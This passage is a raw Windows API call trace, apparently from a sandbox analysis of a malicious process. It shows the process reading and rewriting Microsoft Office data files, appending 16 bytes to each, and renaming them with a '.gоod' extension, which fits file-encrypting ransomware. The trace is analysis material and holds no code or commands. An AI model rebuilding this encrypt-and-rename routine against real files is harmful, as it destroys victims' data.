[0131.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0131.136] GetFileType (hFile=0x650) returned 0x1 [0131.136] WriteFile (in: hFile=0x650, lpBuffer=0x353de48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x353de48*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0131.136] CloseHandle (hObject=0x650) returned 1 [0131.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0131.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x5a [0131.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0131.137] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4a6111d5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x21bab)) returned 1 [0131.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0131.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0131.141] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0131.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0131.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x35f8a48 | out: lpFileInformation=0x35f8a48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf475553, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x44d12)) returned 1 [0131.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0131.141] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0131.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0131.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.141] GetFileType (hFile=0x650) returned 0x1 [0131.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0131.141] GetFileType (hFile=0x650) returned 0x1 [0131.141] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0131.142] ReadFile (in: hFile=0x650, lpBuffer=0x35f8ef0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x35f8ef0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0131.143] CloseHandle (hObject=0x650) returned 1 [0131.143] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0131.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0131.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.143] GetFileType (hFile=0x650) returned 0x1 [0131.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0131.143] GetFileType (hFile=0x650) returned 0x1 [0131.143] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x44d12 [0131.143] WriteFile (in: hFile=0x650, lpBuffer=0x35fa1d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x35fa1d0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0131.145] CloseHandle (hObject=0x650) returned 1 [0131.145] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0131.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0131.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.145] GetFileType (hFile=0x650) returned 0x1 [0131.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0131.145] GetFileType (hFile=0x650) returned 0x1 [0131.145] ReadFile (in: hFile=0x650, lpBuffer=0x35fc4d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x35fc4d8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0131.783] CloseHandle (hObject=0x650) returned 1 [0131.783] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0131.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0131.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.783] GetFileType (hFile=0x650) returned 0x1 [0131.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0131.783] GetFileType (hFile=0x650) returned 0x1 [0131.783] WriteFile (in: hFile=0x650, lpBuffer=0x35a1668*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x35a1668*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0131.783] CloseHandle (hObject=0x650) returned 1 [0131.784] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0131.784] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x55 [0131.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0131.784] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4ac2d1cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x44d22)) returned 1 [0131.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0131.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0131.785] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0131.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0131.785] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x366ce18 | out: lpFileInformation=0x366ce18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9376)) returned 1 [0132.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0132.025] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0132.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0132.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0132.026] GetFileType (hFile=0x6e0) returned 0x1 [0132.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0132.026] GetFileType (hFile=0x6e0) returned 0x1 [0132.026] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0132.026] ReadFile (in: hFile=0x6e0, lpBuffer=0x36ac0d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x36ac0d8*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0132.027] CloseHandle (hObject=0x6e0) returned 1 [0132.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0132.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0132.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0132.028] GetFileType (hFile=0x6e0) returned 0x1 [0132.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0132.028] GetFileType (hFile=0x6e0) returned 0x1 [0132.028] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x9376 [0132.028] WriteFile (in: hFile=0x6e0, lpBuffer=0x36ad888*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x36ad888*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0132.029] CloseHandle (hObject=0x6e0) returned 1 [0132.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0132.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0132.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0132.033] GetFileType (hFile=0x6e0) returned 0x1 [0132.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0132.033] GetFileType (hFile=0x6e0) returned 0x1 [0132.033] ReadFile (in: hFile=0x6e0, lpBuffer=0x36afbf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x36afbf0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0132.060] CloseHandle (hObject=0x6e0) returned 1 [0132.061] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0132.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0132.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0132.061] GetFileType (hFile=0x6e0) returned 0x1 [0132.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0132.061] GetFileType (hFile=0x6e0) returned 0x1 [0132.061] WriteFile (in: hFile=0x6e0, lpBuffer=0x36ae900*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x36ae900*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0132.061] CloseHandle (hObject=0x6e0) returned 1 [0132.061] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0132.061] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x55 [0132.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0132.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4aedbc6a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9386)) returned 1 [0132.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0132.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0132.062] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0132.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0132.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x372c0b0 | out: lpFileInformation=0x372c0b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d0baf0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9623)) returned 1 [0132.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0132.062] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0132.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0132.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0132.063] GetFileType (hFile=0x6e0) returned 0x1 [0132.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0132.063] GetFileType (hFile=0x6e0) returned 0x1 [0132.063] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0132.063] ReadFile (in: hFile=0x6e0, lpBuffer=0x372c518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x372c518*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0132.219] CloseHandle (hObject=0x6e0) returned 1 [0133.196] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0133.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0133.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0133.196] GetFileType (hFile=0x618) returned 0x1 [0133.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0133.196] GetFileType (hFile=0x618) returned 0x1 [0133.196] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x9623 [0133.197] WriteFile (in: hFile=0x618, lpBuffer=0x3866778*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3866778*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0133.198] CloseHandle (hObject=0x618) returned 1 [0133.198] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0133.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0133.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0133.198] GetFileType (hFile=0x618) returned 0x1 [0133.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0133.198] GetFileType (hFile=0x618) returned 0x1 [0133.198] ReadFile (in: hFile=0x618, lpBuffer=0x3869bf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3869bf0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0133.421] CloseHandle (hObject=0x618) returned 1 [0133.421] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0133.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0133.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0133.421] GetFileType (hFile=0x618) returned 0x1 [0133.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0133.421] GetFileType (hFile=0x618) returned 0x1 [0133.421] WriteFile (in: hFile=0x618, lpBuffer=0x368ecf0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: 